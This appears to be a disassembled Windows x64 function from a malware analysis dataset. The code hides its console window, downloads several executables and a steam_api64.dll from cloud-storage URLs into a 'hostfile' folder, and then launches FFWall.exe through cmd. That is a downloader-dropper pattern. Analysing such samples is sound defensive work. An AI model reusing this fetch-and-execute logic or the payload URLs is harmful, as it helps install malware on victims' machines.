Function at 0x1400014a0
Capabilities:
Check if file exists
Create directory

Disassembly:
sub rsp, 0x2a8
mov qword [rsp + 0x280], 0xfffffffffffffffe
mov rax, qword [0x140016028]
xor rax, rsp
mov qword [rsp + 0x298], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x210], rax
xor edx, edx
mov rcx, qword [rsp + 0x210]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.C:Program_Files__x86_hostfile_
lea rcx, [rsp + 0x1e8]
call fcn.140001960
nop
lea rcx, [rsp + 0x218]
call fcn.140001ab0
nop
lea rdx, [0x1400137b0]
lea rcx, [rsp + 0x28]
call fcn.140001960
nop
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0x28]
call fcn.140001a50
lea rdx, [0x1400137c8]
lea rcx, [rsp + 0x50]
call fcn.140001960
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0x50]
call fcn.140001a50
lea rdx, [0x1400137e0]
lea rcx, [rsp + 0x78]
call fcn.140001960
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0x78]
call fcn.140001a50
lea rdx, str.https:__www999999999asfasg_1328031368.cos.ap_tokyo.myqcloud.com_FFwallpaper.exe
lea rcx, [rsp + 0xa0]
call fcn.140001960
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0xa0]
call fcn.140001a50
lea rdx, [0x140013850]
lea rcx, [rsp + 0xc8]
call fcn.140001960
nop
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0xc8]
call fcn.140001a50
lea rdx, str.https:__www999999999asfasg_1328031368.cos.ap_tokyo.myqcloud.com_FFWall.exe
lea rcx, [rsp + 0xf0]
call fcn.140001960
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0xf0]
call fcn.140001a50
lea rdx, [0x1400138c0]
lea rcx, [rsp + 0x118]
call fcn.140001960
nop
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0x118]
call fcn.140001a50
lea rdx, str.https:__www999999999asfasg_1328031368.cos.ap_tokyo.myqcloud.com_steam_api64.dll
lea rcx, [rsp + 0x140]
call fcn.140001960
nop
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0x140]
call fcn.140001a50
lea rdx, str.https:__www.baidu.com
lea rcx, [rsp + 0x168]
call fcn.140001960
nop
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0x168]
call fcn.140001a50
lea rdx, str.https:__wwww226_1328031368.cos.ap_chengdu.myqcloud.com_0.0.jpg
lea rcx, [rsp + 0x190]
call fcn.140001960
nop
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x218]
call fcn.140001b70
nop
lea rcx, [rsp + 0x190]
call fcn.140001a50
lea rcx, [rsp + 0x1e8]
call fcn.140001a80
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140001783
lea rcx, [rsp + 0x1e8]
call fcn.140001a80
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140001783
mov dword [rsp + 0x270], 1
lea rcx, [rsp + 0x218]
call fcn.140001af0
nop
lea rcx, [rsp + 0x1e8]
call fcn.140001a50
mov eax, dword [rsp + 0x270]
jmp 0x140001943
mov qword [rsp + 0x240], 0
jmp 0x1400017a4
mov rax, qword [rsp + 0x240]
inc rax
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x218]
call fcn.140001b20
cmp qword [rsp + 0x240], rax
jae 0x1400018a5
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x218]
call fcn.140001b50
mov rdx, rax
lea rcx, [rsp + 0x1b8]
call fcn.140001320
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x290], rax
mov r8, qword [rsp + 0x290]
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0x248]
call fcn.140002bf0
nop
lea rcx, [rsp + 0x1b8]
call fcn.140001a50
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x218]
call fcn.140001b50
lea rdx, [rsp + 0x248]
mov rcx, rax
call fcn.140001180
movzx eax, al
test eax, eax
jne 0x140001893
mov dword [rsp + 0x274], 1
lea rcx, [rsp + 0x248]
call fcn.140001a50
nop
lea rcx, [rsp + 0x218]
call fcn.140001af0
nop
lea rcx, [rsp + 0x1e8]
call fcn.140001a50
mov eax, dword [rsp + 0x274]
jmp 0x140001943
lea rcx, [rsp + 0x248]
call fcn.140001a50
jmp 0x140001791
call fcn.1400013c0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001430
lea rax, str.cmd__c__C:Program_Files__x86_hostfileFFWall.exe_
mov qword [rsp + 0x1e0], rax
mov rcx, qword [rsp + 0x1e0]
call fcn.140003ab4
mov dword [rsp + 0x238], eax
cmp dword [rsp + 0x238], 0
je 0x140001916
mov dword [rsp + 0x278], 1
lea rcx, [rsp + 0x218]
call fcn.140001af0
nop
lea rcx, [rsp + 0x1e8]
call fcn.140001a50
mov eax, dword [rsp + 0x278]
jmp 0x140001943
mov dword [rsp + 0x27c], 0
lea rcx, [rsp + 0x218]
call fcn.140001af0
nop
lea rcx, [rsp + 0x1e8]
call fcn.140001a50
mov eax, dword [rsp + 0x27c]
mov rcx, qword [rsp + 0x298]
xor rcx, rsp
call fcn.1400035b0
add rsp, 0x2a8
ret